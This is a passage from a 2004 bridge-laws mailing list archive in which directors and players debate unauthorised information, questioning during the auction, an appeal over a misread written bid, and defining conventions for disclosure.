do read arguments on blml that show some people to be in favour of strict application of the hanging laws. +=+ > > I am surprised that you do not seem to be one of those people. > +=+ To be fair to ton I think we should understand that he has a genuine missionary zeal in promoting his ideas with regard to the laws, but does tend to react when it is pointed out that he must not go so far as to assert the law to be what he says it is without first obtaining the agreement of the WBFLC. It is not surprising that he does not know what went on in 1985-7 when he was not around, and since then this subject has not surfaced again in the WBFLC; this aspect of 73F2 did not occasion any further discussion when the 1997 text was prepared - I was just now re-reading ton's lengthy submission to the drafting committee but he had other things on his mind. ~ Grattan ~ +=+ From t.kooyman@worldonline.nl Thu Mar 18 10:45:54 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Thu, 18 Mar 2004 11:45:54 +0100 Subject: [blml] Explain References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> <009701c40c73$25016fc0$eafaf1c3@LNV> <000201c40cc6$99fe1500$4600e150@multivisionoem> Message-ID: <00dd01c40cd6$33729b20$89f9f1c3@LNV> > +=+ To be fair to ton I think we should understand that he has a > genuine missionary zeal in promoting his ideas with regard to the > laws, but does tend to react when it is pointed out that he must > not go so far as to assert the law to be what he says it is without > first obtaining the agreement of the WBFLC. It is not surprising > that he does not know what went on in 1985-7 when he was not > around, and since then this subject has not surfaced again in the > WBFLC; this aspect of 73F2 did not occasion any further discussion > when the 1997 text was prepared - I was just now re-reading ton's > lengthy submission to the drafting committee but he had other things > on his mind. > ~ Grattan ~ +=+ You still try to put me on an alternative track here. I am not, I am convinced that I apply the laws as they are (meant). If I had known your (in my opinion) extreme interpretation in '95 I certainly would have adressed this problem. And hammering on from your side won't help. I need a real case in which the TD and/or AC supports your view. To be honest: seeing both your examples (Grattan and David) I am beginning to think that the WBFLC never has said anything about the case we are discussing here. But I understand that such a case is difficult to find. ton From blml@blakjak.com Thu Mar 18 12:22:48 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 18 Mar 2004 12:22:48 +0000 Subject: [blml] Explain In-Reply-To: <000201c40cc6$99fe1500$4600e150@multivisionoem> References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> <009701c40c73$25016fc0$eafaf1c3@LNV> <000201c40cc6$99fe1500$4600e150@multivisionoem> Message-ID: >Grattan EndicottFrom: "David Stevenson" >> Let me get this straight. You are saying that asking questions cannot >> mislead, and ask for an example. I give an example, you say that one >> does not count. >> >> I do not know what you are trying to prove, Ton, but most people who >> read this list will stop cheating as far as they can. When we get the >> much larger group of ignorant people that do things that cheats would >> do, but are not cheating because of their ignorance, most people would >> agree we should try to control those actions. >> >+=+ Perhaps 'educate', but it is the case that players expect, and are >entitled to, redress when it happens and I do read arguments on blml >that show some people to be in favour of strict application of the >hanging laws. +=+ >> >> I am surprised that you do not seem to be one of those people. >> >+=+ To be fair to ton I think we should understand that he has a >genuine missionary zeal in promoting his ideas with regard to the >laws, but does tend to react when it is pointed out that he must >not go so far as to assert the law to be what he says it is without >first obtaining the agreement of the WBFLC. It is not surprising >that he does not know what went on in 1985-7 when he was not >around, and since then this subject has not surfaced again in the >WBFLC; this aspect of 73F2 did not occasion any further discussion >when the 1997 text was prepared - I was just now re-reading ton's >lengthy submission to the drafting committee but he had other things >on his mind. OK, Grattan: but please explain why [a] he misquotes our reg when it has been posted here in full and [b] why when he asks for an example he says the example given does not count. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Mar 18 12:35:49 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 18 Mar 2004 12:35:49 +0000 Subject: [blml] Is scrawling an infraction? In-Reply-To: <2C092EB2-78B5-11D8-A360-0030656F6826@rochester.rr.com> References: <2C092EB2-78B5-11D8-A360-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote > >On Thursday, Mar 18, 2004, at 01:32 US/Eastern, >richard.hills@immi.gov.au wrote: > >> Tournament Director's Report and decision: >> >> After the bid of 4H, North passed and then North >> asked is that 6H. North stated that she had read >> the 4H as 6H (unauthorised information to >> partner). South now bid 4S. Both East and West >> did not believe South had her bid of 4S. >> >> Under Law 21A I had no recourse but to adjust the >> score back to 4H by West, making. > >This seems to be an inaccurate statement. Law 21A says that *North* in >this case has no recourse. The score was not adjusted because of >misinformation from EW, but (presumably) because South was adjudged to >have violated Law 16. It is not the most helpful TD report ever. I am sure that what the TD meant is that L21A means that north is stuck with his pass having waited until after his call before checking what was written [glaringly inefficient, if nothing else] and thus the UI is passed that he might have wanted to change his call but was not allowed to. Of course North was very silly to say that she had read the 4H as 6H therefore giving UI to pd and placing pd in an invidious position. >> Score adjusted to 4H W, making, +620 E/W >> >> Appellant's claim >> The 4H bid was read by me as 6H. I tender a >> previous sample of West's handwriting to support >> this. >> >> When West announced that the contract was 4H, I >> was naturally startled. I said "What," or something >> similar. The director was summoned and she stated >> that it was clearly 4H. >> >> I very strongly disagree that my surprise implied >> that I would have bid if I had known that the bid >> was 4H. > >This is an important assertion. See below. This is a "self-serving statement" at its worst. "strongly disagree" indeed! North seems to have all the instincts of a BL. >> I would not have bid. I have told partner >> my hand. >> >> Appeal Committee decision >> Whilst the committee agrees totally that North had >> no intention of bidding or passing information to >> partner, we are also of the firm opinion that South >> did not act upon North's expression of surprise. >> However, the committtee believes that "pass" is a >> viable alternative to 4S and that it must by Law >> uphold the director's decision. > >This makes no sense. The elements of the law here are: > >1. Did a player convey UI to his partner? Yes. He told his pd that he misread 4H as 6H. >2. Did that player's partner choose amongst logical alternatives one >that could have been demonstrably suggested by the UI? Yes. Pass was an LA, and 4S was more likely to gain opposite a partner who had misread 4H as 6H butonly found out toolate than opposite a partner who knew what the bidding actually was. >3. Were this pair's opponents damaged by that choice? Yes, I presume. >The AC's assertion that North "had no intention of passing information" >leaves open the first question. No, it doesn't. Players hesitate all the time, passing UI to partner, but only a tiny minority of them had any intention of passing information. Intent is irrelevant for UI purposes. > However, the committee apparently didn't completely address North's >assertion I remarked on above - which is, in effect, that his surprise >did *not* convey UI. If it didn't, there was no infraction, and no >adjustment is warranted. He did convey UI: he said that he had thought it was a 6H bid. >Or are we to assume (I hate that word, especially in legal proceedings) >that implicit in the committee's agreement is the assertion that UI >*was* passed? I think these adjudications carry the obligation not to >leave such things implicit, but to make them explicit. It was explicit in the TD's report. >Put it another way: the committee decision reads as if they believe >that the mere fact that a "viable alternative" (leaving aside the fact >that "viable" and "logical" have completely different meanings) exists >requires a score adjustment. True: it was badly written. >As to the question in the subject of this thread, I would suggest that >if the regulations implementing written bidding do not include some >reference to legibility, they are flawed. IAC, I would suggest to >contestants that they question each and every written bid that is not >clearly legible. Yeah, I know, takes too much time. Tough. Maybe after >a few sessions of such questions, folks will learn to write more >clearly. Do the Laws on spoken bidding include a requirement to speak clearly? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From t.kooyman@worldonline.nl Thu Mar 18 13:15:00 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Thu, 18 Mar 2004 14:15:00 +0100 Subject: [blml] Standard References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A1@lonsc-s-031.europe.shell.com> Message-ID: <00fd01c40ceb$0723a180$89f9f1c3@LNV> We get a lot of questions, and the replies very, very rarely have any possible effect on the asker's choice of call. People ask out of interest, curiosity, and a general desire to understand what's going on. This doesn't seem to cause any problems. To tell people that they shouldn't do this would seem arbitrary, unnatural and unneccessary. Eric Landau [Frances] People criticising the EBU seem to have missed the point. It's not a regulation, it's a piece of advice. The advice is that if you ask during the auction, you may be giving partner UI. Does anyone say that isn't true? Not me, that is completely true. And I consider it a very good advice. And I know of examples in which a future defender abuses this questioning, though in my country almost all the players know that they are not allowed to use questions for this reason. ton From t.kooyman@worldonline.nl Thu Mar 18 12:56:01 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Thu, 18 Mar 2004 13:56:01 +0100 Subject: [blml] Explain References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> <009701c40c73$25016fc0$eafaf1c3@LNV> <000201c40cc6$99fe1500$4600e150@multivisionoem> Message-ID: <00fc01c40ceb$070e44c0$89f9f1c3@LNV> David: > OK, Grattan: but please explain why [a] he misquotes our reg when it > has been posted here in full and [b] why when he asks for an example he > says the example given does not count. He quotes Grattan Endicot who has told us and still maintains telling so that a player only has a bridge reason for questioning a call during the auction if his choice for his call depends on the answer given. Which leads to Grattan's conclusion that if that is not the case L73F2 applies if an opponent feels misled. Then he tried to explain three times during the last three weeks that an example in which declarer during play asks about a possible holding in defender's hand does not cover this issue and he adds to it that he included such a case in the recent EBL TD course , fully aproving the application of L73F2 in that situation. That is why your example does not count, simply because it is besides the issue. And now he would like you to read more carefully what he is telling. For almost all others 'he' can be read as 'ton', ton From blml@blakjak.com Thu Mar 18 14:04:00 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 18 Mar 2004 14:04:00 +0000 Subject: [blml] Explain In-Reply-To: <00fc01c40ceb$070e44c0$89f9f1c3@LNV> References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> <009701c40c73$25016fc0$eafaf1c3@LNV> <000201c40cc6$99fe1500$4600e150@multivisionoem> <00fc01c40ceb$070e44c0$89f9f1c3@LNV> Message-ID: Ton Kooijman wrote >David: > > > >> OK, Grattan: but please explain why [a] he misquotes our reg when it >> has been posted here in full and [b] why when he asks for an example he >> says the example given does not count. > > > >He quotes Grattan Endicot who has told us and still maintains telling so >that a player only has a bridge reason for questioning a call during the >auction if his choice for his call depends on the answer given. >Which leads to Grattan's conclusion that if that is not the case L73F2 >applies if an opponent feels misled. Aaaah: so you are equating Grattan Endicott with 'that island'. I have news for you, Ton, they are not the same. >Then he tried to explain three times during the last three weeks that an >example in which declarer during play asks about a possible holding in >defender's hand does not cover this issue and he adds to it that he included >such a case in the recent EBL TD course , fully aproving the application of >L73F2 in that situation. >That is why your example does not count, simply because it is besides the >issue. Perhaps you should have said that you were only interested in what Grattan has said, which I have no idea because I have been skip reading him in this. Disagree with Grattan all you like, Ton, and in this matter I am not that worried, but please do not assume that everything he says is exactly as the EBU thinks. Perhaps in future if you ask a question that looks general you would either [a] accept an answer that is aimed at the question as asked, or [b] add to the question so the specific nature is clear ot all readers, or [c] include a sufficient quote from previously [but not too much] that it is clear to what the question refers -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Mar 18 14:06:31 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 18 Mar 2004 14:06:31 +0000 Subject: [blml] Standard In-Reply-To: <00fd01c40ceb$0723a180$89f9f1c3@LNV> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17A1@lonsc-s-031.europe.shell.com> <00fd01c40ceb$0723a180$89f9f1c3@LNV> Message-ID: Ton Kooijman wrote > We get a lot of >questions, and the replies very, very rarely have any possible effect >on the asker's choice of call. People ask out of interest, curiosity, >and a general desire to understand what's going on. This doesn't seem >to cause any problems. To tell people that they shouldn't do this >would seem arbitrary, unnatural and unneccessary. > >Eric Landau > >[Frances] >People criticising the EBU seem to have missed the point. >It's not a regulation, it's a piece of advice. The advice is that if >you ask during the auction, you may be giving partner UI. Does anyone >say that isn't true? > > > >Not me, that is completely true. And I consider it a very good advice. >And I know of examples in which a future defender abuses this questioning, >though in my country almost all the players know that they are not allowed >to use questions for this reason. There is very little problem with questions here either, because the reg, which has been in place for many many years, has worked. Perhasp the question should be were there any problems with questions 12, 15 and 20 years ago in England and the Netherlands. In England, certainly, and it has been corrected. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From t.kooyman@worldonline.nl Thu Mar 18 15:20:06 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Thu, 18 Mar 2004 16:20:06 +0100 Subject: [blml] Explain References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> <009701c40c73$25016fc0$eafaf1c3@LNV> <000201c40cc6$99fe1500$4600e150@multivisionoem> <00fc01c40ceb$070e44c0$89f9f1c3@LNV> Message-ID: <015501c40cfd$c5c99c40$89f9f1c3@LNV> David: > Perhaps in future if you ask a question that looks general you would > either > > [a] accept an answer that is aimed at the question as asked, or > [b] add to the question so the specific nature is clear ot all readers, > or > [c] include a sufficient quote from previously [but not too much] that > it is clear to what the question refers. I really thought I had done so, several times even. Nice you call me 'Ton' and 'you' again and not 'he' and 'his'. ton From blml@blakjak.com Thu Mar 18 17:44:33 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 18 Mar 2004 17:44:33 +0000 Subject: [blml] Explain In-Reply-To: <015501c40cfd$c5c99c40$89f9f1c3@LNV> References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> <009701c40c73$25016fc0$eafaf1c3@LNV> <000201c40cc6$99fe1500$4600e150@multivisionoem> <00fc01c40ceb$070e44c0$89f9f1c3@LNV> <015501c40cfd$c5c99c40$89f9f1c3@LNV> Message-ID: Ton Kooijman wrote > >David: > > >> Perhaps in future if you ask a question that looks general you would >> either >> >> [a] accept an answer that is aimed at the question as asked, or >> [b] add to the question so the specific nature is clear ot all readers, >> or >> [c] include a sufficient quote from previously [but not too much] that >> it is clear to what the question refers. > >I really thought I had done so, several times even. Several times? But I only read the one post to which I answered. >Nice you call me 'Ton' and 'you' again and not 'he' and 'his'. When I address you directly I call you Ton. When I refer to you I generally refer to he or him. What is wrong with that? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Thu Mar 18 22:16:09 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 19 Mar 2004 08:16:09 +1000 Subject: [blml] Is scrawling an infraction? Message-ID: David Stevenson asked: >Do the Laws on spoken bidding include a >requirement to speak clearly? Richard James Hills replied: In my opinion, a mumbled spoken call is an implicit infraction of Law 90B2 (unduly slow play), since such mumbling causes an opponent to unnecessarily waste time by invoking Law 20A to require the call to be repeated. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@blakjak.com Thu Mar 18 21:38:43 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 18 Mar 2004 21:38:43 +0000 Subject: [blml] Is scrawling an infraction? In-Reply-To: References: Message-ID: RJH wrote >David Stevenson asked: > >>Do the Laws on spoken bidding include a >>requirement to speak clearly? > >Richard James Hills replied: > >In my opinion, a mumbled spoken call is >an implicit infraction of Law 90B2 (unduly >slow play), since such mumbling causes an >opponent to unnecessarily waste time by >invoking Law 20A to require the call to be >repeated. That's silly, I am afraid. That is just reaching for something that is not there. Suppose that a player makes 100 calls, none of them very clearly, and opponents do not ask him to repeat them. They misunderstand 15 of them, and he actually gains on 5 because of misunderstanding. By your interpretation, what he has done is legal because it did not slow the game down? Sorry, it won't wash. Slowing the game down is just that. As you know there is no direct reference in the Laws to the clarity of spoken bidding, so it is a little harsh to blame the makers of BB/written bidding or whatever regs for failing to provide regs on clarity. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From HarrisR@missouri.edu Thu Mar 18 21:59:24 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Thu, 18 Mar 2004 15:59:24 -0600 Subject: [blml] alerts, questions, answers and UI [was Standard] In-Reply-To: References: Message-ID: >Ed Reppert wrote: > >[snip] > >>Robson and Segal, in "Partnership Bidding", discuss >>this sequence: (1H)-1S-(2D)-? They suggest that if >>2D is forcing, double should be for takeout, while >>if it is not forcing, double should show a minimum >>spade raise, and suggest *not* leading the suit. >>Suppose you find yourself in this position. If you >>ask "Is 2D forcing" you will know what you need to >>know - but partner will have UI. You can look at >>their convention card - if they have one - but it >>will not, in the ACBL at least, tell you what you >>need to know. > >[snip] > >Richard James Hills replies: > >This is an example of David Burn's paradox. Burn >argued that Law 75A is unenforcable, because it is >impossible to arrange for completely "full" >disclosure. Any SO's system card regs and alert >regs must be, in the real world, inadequate at the >margins. Better regs merely reduce the amount of >incomplete disclosure, but cannot eliminate it. > >Ed's example problem does not occur in Australia, >thanks to negative free bids being pre-alertable in >Oz. > >On the other hand, another example problem of an >unusual redouble is fully resolved by ACBL regs, >while the Aussie self-alerting reg mandates >incomplete disclosure. Negative free bids require an alert in ACBL land. Still, the question might convey an unacceptable amount of UI. (Without screens, there is often so much I floating around that the air seems thick. Once in a while, I've said, "Yes, we all know where that ace is", or the like.) It seems to me that the question should not be taken as waking up partner, so I'd treat it as legitimate for partner to go on to 2S, or whatever his hand justifies, in the knowledge that the double showed a minimum spade raise. One's methods often require some knowledge of opponent's methods, and that may not be easily available when only a few boards are to be played in a short period of time. People who play odd methods bring a certain amount of trouble on themselves, generating the need for questions that may create UI. I've always felt that there is UI and then there is a sort of semi-UI that may be created by the situation. Yeh, I know there is only UI in the laws, but civil and criminal laws get interpreted all the time, and so do bridge laws. (Self defence ought to be justifiable in bridge. Or maybe we need some sort of "unwritten law.") REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From HarrisR@missouri.edu Thu Mar 18 22:17:34 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Thu, 18 Mar 2004 16:17:34 -0600 Subject: [blml] Is scrawling an infraction? In-Reply-To: <2C092EB2-78B5-11D8-A360-0030656F6826@rochester.rr.com> References: <2C092EB2-78B5-11D8-A360-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote: (Snipped) >As to the question in the subject of this thread, I would suggest >that if the regulations implementing written bidding do not include >some reference to legibility, they are flawed. IAC, I would suggest >to contestants that they question each and every written bid that is >not clearly legible. Yeah, I know, takes too much time. Tough. >Maybe after a few sessions of such questions, folks will learn to >write more clearly. My persistent questions about NT range after every 1NT opening bid without the (ACBL required) range announcement has not produced any noticeable change in local behavior. Good luck on trying for legibility. REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From richard.hills@immi.gov.au Thu Mar 18 23:28:24 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 19 Mar 2004 09:28:24 +1000 Subject: [blml] destroy the village to save it Message-ID: In response to a question, a player may say, "no agreement". Some of the time, such a statement may be untrue. On those occasions when the player has simply forgotten their partnership agreement, there is no real problem. Their partner simply corrects the misinformation at the appropriate Law 75D2 time. But some of the time "no agreement" may be a deliberate lie. In The Bridge World's March 2004 editorial, Jeff Rubens wrote: [big snip] >It is not required to have a complete >(or even a decent) set of partnership >understandings. Since Jeff Rubens' statement is merely a paraphrase of Law 40A, no doubt Rubens naively assumed that he was correctly advising the ACBL readers of his magazine. Not so. To protect ACBL villagers from "no agreement" liars, the ACBL has destroyed the village to save it. http://web2.acbl.org/coc/2004/pair.htm ACBL General Conditions of Contest: >>A partnership is responsible for knowing >>when their methods apply in probable (to >>be expected) auctions. In my opinion, the best way to deal with the small minority of "no agreement" liars is better record-keeping. Eventually the liars will be caught out by historical evidence of their explicit and implicit partnership agreements. But, in my opinion, the ACBL's lazy short- cut of forcing all players to create "to be expected" agreements is both unLawful and contrary to the fundamental nature of bridge. The good news is that the ACBL may not have this unLawful regulation in 2006. The bad news is that the 2006 Laws may be changed to alter the fundamental nature of bridge, and consequentially render the ACBL regulation Lawful. In a semi-official document used as the basis for a seminar on bridge ethics, this trial balloon was floated by Grattan Endicott (posted on blml 8th October 2002): [big snip] >>>Misinformation >>> >>>As with disclosure, there is an issue >>>under this heading if it is considered a >>>matter of bridge ethics to be considerate >>>of opponents. The higher we go in bridge, >>>is there not a corresponding increase in >>>our responsibility for preparing >>>ourselves for tournaments? >>> >>>How ethical can we consider ourselves >>>once we rise to the levels of national >>>tournaments, or of regional tournaments in >>>larger countries, if we are unable to give >>>our opponents an accurate account of our >>>system agreements and our special >>>understandings? Is it acceptable if we go >>>to such major tournaments inadequately >>>prepared? - using methods that we have not >>>fully grasped? [big snip] In my opinion, a new Law requiring partnerships to have agreements is not needed to resolve the problem of the occasional "no agreement" liars. In my opinion, such an approach is using a sledgehammer to crack a nut. In my opinion, current Law is adequate to deal with "no agreement" liars. Already the footnote to Law 75 creates a tie-break in doubtful cases of misexplanation rather than misbid. Already Law 85 gives a TD the power to rule based upon balance-of-probabilities. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From sphboc@msn.com Thu Mar 18 22:50:10 2004 From: sphboc@msn.com (Steven Haver) Date: Thu, 18 Mar 2004 15:50:10 -0700 Subject: [blml] Definitions of Conventions Message-ID: IMO, there's a very good case for adopting, and posting, a set of definitions for the more-frequently encountered conventions. This would "spell out" the partnership understanding implied by the convention name; it could also document the conditions under which use of such understandings is permissible. Setting a clear standard for resolution of disputes arising out of alleged inadequate disclosure. Somewhat surprisingly, the ACBL website does not include any such section. Once an organization sees fit to adopt a "standard" convention card, with checkboxes for selected conventions, the definitions of such conventions become, in effect, part of the conditions of contest. I'm somewhat curious as to the practices of other NCBO's. _________________________________________________________________ Free up your inbox with MSN Hotmail Extra Storage. Multiple plans available. http://click.atdmt.com/AVE/go/onm00200362ave/direct/01/ From schoderb@msn.com Thu Mar 18 23:24:59 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Thu, 18 Mar 2004 18:24:59 -0500 Subject: [blml] Explain References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> <009701c40c73$25016fc0$eafaf1c3@LNV> <000201c40cc6$99fe1500$4600e150@multivisionoem> <00fc01c40ceb$070e44c0$89f9f1c3@LNV> <015501c40cfd$c5c99c40$89f9f1c3@LNV> Message-ID: Why man, to me that sounds like just good English! (of which there is a dearth on BLML) ----- Original Message ----- From: "David Stevenson" To: Sent: Thursday, March 18, 2004 12:44 PM Subject: Re: [blml] Explain > Ton Kooijman wrote > > > >David: > > > > > >> Perhaps in future if you ask a question that looks general you would > >> either > >> > >> [a] accept an answer that is aimed at the question as asked, or > >> [b] add to the question so the specific nature is clear ot all readers, > >> or > >> [c] include a sufficient quote from previously [but not too much] that > >> it is clear to what the question refers. > > > >I really thought I had done so, several times even. > > Several times? But I only read the one post to which I answered. > > >Nice you call me 'Ton' and 'you' again and not 'he' and 'his'. > > When I address you directly I call you Ton. When I refer to you I > generally refer to he or him. What is wrong with that? > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From richard.hills@immi.gov.au Fri Mar 19 00:26:41 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 19 Mar 2004 10:26:41 +1000 Subject: [blml] Definitions of Conventions Message-ID: Steven Haver: >IMO, there's a very good case for adopting, and >posting, a set of definitions for the more-frequently >encountered conventions. This would "spell out" the >partnership understanding implied by the convention >name; [snip] >I'm somewhat curious as to the practices of other >NCBO's. Richard James Hills: The ABF finesses the issue by ruling that merely naming a convention may be insufficient disclosure. Of course, local custom may assist. For example, at the Canberra Bridge Club, responding to an enquiry by merely stating "Crowhurst convention" is a fully adequate explanation. This is because half of Canberra's experts use this gimmick, and all users give it the name of "Crowhurst". But the Canberra gimmick "Crowhurst" bears little resemblance to Eric Crowhurst's original convention. Therefore, any suggestion that more-frequently named conventions be defined world-wide, so a name can be full disclosure, would founder upon local tendencies towards malapropism. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From ereppert@rochester.rr.com Thu Mar 18 23:56:24 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 18 Mar 2004 18:56:24 -0500 Subject: [blml] Is scrawling an infraction? In-Reply-To: Message-ID: On Thursday, Mar 18, 2004, at 07:35 US/Eastern, David Stevenson wrote: > It is not the most helpful TD report ever. I am sure that what the > TD > meant is that L21A means that north is stuck with his pass having > waited > until after his call before checking what was written [glaringly > inefficient, if nothing else] and thus the UI is passed that he might > have wanted to change his call but was not allowed to. Since that's not what the TD *said*, I'm not at all sure that's what he meant. > Of course North was very silly to say that she had read the 4H as 6H > therefore giving UI to pd and placing pd in an invidious position. Granted. >> This is an important assertion. See below. > > This is a "self-serving statement" at its worst. "strongly disagree" > indeed! North seems to have all the instincts of a BL. Is it? Does he? On the evidence available to *me*, I disagree. We are enjoined to consider *all* the evidence. "Self-serving" evidence is still evidence. I'm not at all sure how to identify the "instincts of a BL", but then I don't have your experience. :-) >> 1. Did a player convey UI to his partner? > > Yes. He told his pd that he misread 4H as 6H. True. Yet the *report* seems to center around the question, rather than the statement. >> 2. Did that player's partner choose amongst logical alternatives one >> that could have been demonstrably suggested by the UI? > > Yes. Pass was an LA, and 4S was more likely to gain opposite a > partner who had misread 4H as 6H butonly found out toolate than > opposite > a partner who knew what the bidding actually was. Ah, but now you're not considering the same UI the committee seemed to be looking at. >> The AC's assertion that North "had no intention of passing >> information" >> leaves open the first question. > > No, it doesn't. Players hesitate all the time, passing UI to > partner, > but only a tiny minority of them had any intention of passing > information. Intent is irrelevant for UI purposes. Perhaps I should have said "doesn't *answer* the question". For the reasons you state. >> However, the committee apparently didn't completely address North's >> assertion I remarked on above - which is, in effect, that his surprise >> did *not* convey UI. If it didn't, there was no infraction, and no >> adjustment is warranted. > > He did convey UI: he said that he had thought it was a 6H bid. Did the committee rule on that basis? They didn't say so. >> Or are we to assume (I hate that word, especially in legal >> proceedings) >> that implicit in the committee's agreement is the assertion that UI >> *was* passed? I think these adjudications carry the obligation not to >> leave such things implicit, but to make them explicit. > > It was explicit in the TD's report. It was explicit that North made the statement to which you refer. It was *not* explicit that statement was UI. >> Put it another way: the committee decision reads as if they believe >> that the mere fact that a "viable alternative" (leaving aside the fact >> that "viable" and "logical" have completely different meanings) exists >> requires a score adjustment. > > True: it was badly written. Which was, I suppose, my main point. :-) >> As to the question in the subject of this thread, I would suggest that >> if the regulations implementing written bidding do not include some >> reference to legibility, they are flawed. IAC, I would suggest to >> contestants that they question each and every written bid that is not >> clearly legible. Yeah, I know, takes too much time. Tough. Maybe >> after >> a few sessions of such questions, folks will learn to write more >> clearly. > > Do the Laws on spoken bidding include a requirement to speak clearly? Not explicitly. However, there is Law 20A. I suppose one could infer that law applies analogously to written bidding. From blml@blakjak.com Thu Mar 18 23:57:01 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 18 Mar 2004 23:57:01 +0000 Subject: [blml] Definitions of Conventions In-Reply-To: References: Message-ID: Steven Haver wrote >IMO, there's a very good case for adopting, and posting, a set of >definitions for the more-frequently encountered conventions. This >would "spell out" the partnership understanding implied by the >convention name; it could also document the conditions under which use >of such understandings is permissible. Setting a clear standard for >resolution of disputes arising out of alleged inadequate disclosure. > >Somewhat surprisingly, the ACBL website does not include any such >section. Once an organization sees fit to adopt a "standard" >convention card, with checkboxes for selected conventions, the >definitions of such conventions become, in effect, part of the >conditions of contest. > >I'm somewhat curious as to the practices of other NCBO's. The problem is that few partnerships really play conventions the same as each other, so if you define CRO overcalls as something then 90% of people who play CRO overcalls would not be playing them as defined. I think that the practical difficulties outweigh any theoretical gains. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Fri Mar 19 00:04:31 